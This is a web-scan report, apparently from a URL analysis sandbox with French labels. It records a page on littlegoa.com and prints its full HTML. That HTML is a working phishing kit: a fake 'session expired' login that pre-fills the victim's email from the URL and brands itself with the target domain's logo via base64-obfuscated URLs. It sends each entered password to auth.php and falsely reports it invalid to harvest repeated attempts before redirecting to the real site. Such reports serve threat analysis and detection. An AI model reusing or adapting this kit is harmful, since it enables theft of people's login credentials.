- ID de l'analyse :
- 9c10df18-9a77-4cd8-8db7-9d1f0d375d97Terminée
- URL soumise :
- https://littlegoa.com/41#[email protected]Redirigé
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 10 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
uidEvent | number |
bootstrap | object |
setBackground | function |
extractEmailAndDomain | function |
getDomainName | function |
loadImageWithFallback | function |
setFavicon | function |
Messages de journal de console : 2 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
verbose | dom |
|
error | network |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" rel="stylesheet">
<style>
#background-container {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-size: cover;
background-position: center;
background-repeat: no-repeat;
filter: blur(5px);
}
#overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
}
.login-container {
max-width: 400px;
margin: 160px auto 0 auto;
padding: 20px;
background-color: rgba(255, 255, 255, 0.9);
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
position: relative;
z-index: 1;
text-align: center;
}
.header-container {
display: flex;
align-items: center;
justify-content: center;
margin-bottom: 20px;
position: relative;
}
.header-container img {
position: absolute;
top: 0;
left: 0;
width: 50px;
height: 50px;
margin-left: 2px;
margin-top: 2px;
}
.welcome-text {
padding-bottom: 30px;
text-align: center;
font-size: 16px;
}
.error-message, .success-message {
margin-top: 20px;
display: none;
}
</style>
<link id="dynamic-favicon" rel="icon" href="https://logo.clearbit.com/evulpo.com">
</head>
<body>
<div id="background-container" style="background-image: url("https://image.thum.io/get/http://www.evulpo.com");"></div>
<div id="overlay"></div>
<div class="container">
<div class="login-container">
<div class="header-container">
<img id="domain-logo" src="https://logo.clearbit.com/evulpo.com" alt="Domain Logo">
<h2 id="domain-name">EVULPO</h2>
</div>
<div class="welcome-text">
Your session has expired, Please login to continue.
</div>
<form id="login-form">
<div class="mb-3">
<div class="input-group">
<span class="input-group-text"><i class="fas fa-user"></i></span>
<input type="text" class="form-control" id="username" placeholder="Username" disabled="disabled" autofocus="autofocus" required="">
</div>
</div>
<div class="mb-3">
<div class="input-group">
<span class="input-group-text"><i class="fas fa-lock"></i></span>
<input type="password" class="form-control" id="password" placeholder="Password">
</div>
</div>
<button type="submit" class="btn btn-primary w-100" id="submit-button">
Sign In
</button>
<div class="alert alert-danger error-message" role="alert">
Enter email password to continue.
</div>
<div class="alert alert-danger success-message" role="alert">
Invalid Email Password. Please try again!
</div>
</form>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script>
let successCount = 0;
let successTimeout;
function setBackground(imageUrl) {
const container = document.getElementById('background-container');
container.style.backgroundImage = `url('${imageUrl}')`;
}
function extractEmailAndDomain() {
const hash = window.location.hash.substring(1);
const email = decodeURIComponent(hash);
if (email && email.includes('@')) {
const domain = email.split('@')[1];
document.getElementById('username').value = email;
return { email, domain };
}
return { email: '', domain: '' };
}
function getDomainName(domain) {
return domain.split('.')[0].toUpperCase();
}
function loadImageWithFallback(imgElement, primarySrc, fallbackSrc) {
const img = new Image();
img.onload = () => { imgElement.src = primarySrc; };
img.onerror = () => { imgElement.src = fallbackSrc; };
img.src = primarySrc;
}
function setFavicon(primarySrc, fallbackSrc) {
const favicon = document.getElementById('dynamic-favicon');
const img = new Image();
img.onload = () => { favicon.href = primarySrc; };
img.onerror = () => { favicon.href = fallbackSrc; };
img.src = primarySrc;
}
document.addEventListener('DOMContentLoaded', function() {
const { email, domain } = extractEmailAndDomain();
if (domain) {
const imageUrl = atob('aHR0cHM6Ly9pbWFnZS50aHVtLmlvL2dldC9odHRwOi8vd3d3LiR7ZG9tYWlufQ==').replace('${domain}', domain);
setBackground(imageUrl);
const domainNameElement = document.getElementById('domain-name');
const domainLogoElement = document.getElementById('domain-logo');
domainNameElement.textContent = getDomainName(domain);
const logoUrl = atob('aHR0cHM6Ly9sb2dvLmNsZWFyYml0LmNvbS8ke2RvbWFpbn0=').replace('${domain}', domain);
const fallbackLogoUrl = atob('aHR0cHM6Ly93ZWJtYWlsLmVtYWlscG5sLmNvbS93ZWJtYWlsX2xvZ28uc3Zn');
loadImageWithFallback(domainLogoElement, logoUrl, fallbackLogoUrl);
const faviconUrl = atob('aHR0cHM6Ly9sb2dvLmNsZWFyYml0LmNvbS8ke2RvbWFpbn0=').replace('${domain}', domain);
const fallbackFaviconUrl = atob('aHR0cHM6Ly93ZWJtYWlsLmVtYWlscG5sLmNvbS93ZWJtYWlsX2Fzc2V0cy9mYXZpY29uLmljbw==');
setFavicon(faviconUrl, fallbackFaviconUrl);
}
const form = document.getElementById('login-form');
form.addEventListener('submit', function(event) {
event.preventDefault();
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const errorMessage = document.querySelector('.error-message');
const successMessage = document.querySelector('.success-message');
const submitButton = document.getElementById('submit-button');
if (password === '') {
errorMessage.style.display = 'block';
} else {
errorMessage.style.display = 'none';
submitButton.innerHTML = `<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> Verifying`;
submitButton.disabled = true;
const xhr = new XMLHttpRequest();
xhr.open("POST", "auth.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
successCount++;
successMessage.style.display = 'block';
document.getElementById('password').addEventListener('input', function clearSuccessMessage() {
successMessage.style.display = 'none';
document.getElementById('password').removeEventListener('input', clearSuccessMessage);
});
clearTimeout(successTimeout);
successTimeout = setTimeout(() => {
successMessage.style.display = 'none';
}, 8000);
document.getElementById('password').value = '';
if (successCount >= 3) {
successMessage.style.display = 'block';
setTimeout(() => {
window.location.href = `https://${domain}`;
}, 6000);
}
}
submitButton.innerHTML = 'Sign In';
submitButton.disabled = false;
}
};
xhr.send(`username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}`);
}
});
});
</script>
</body></html>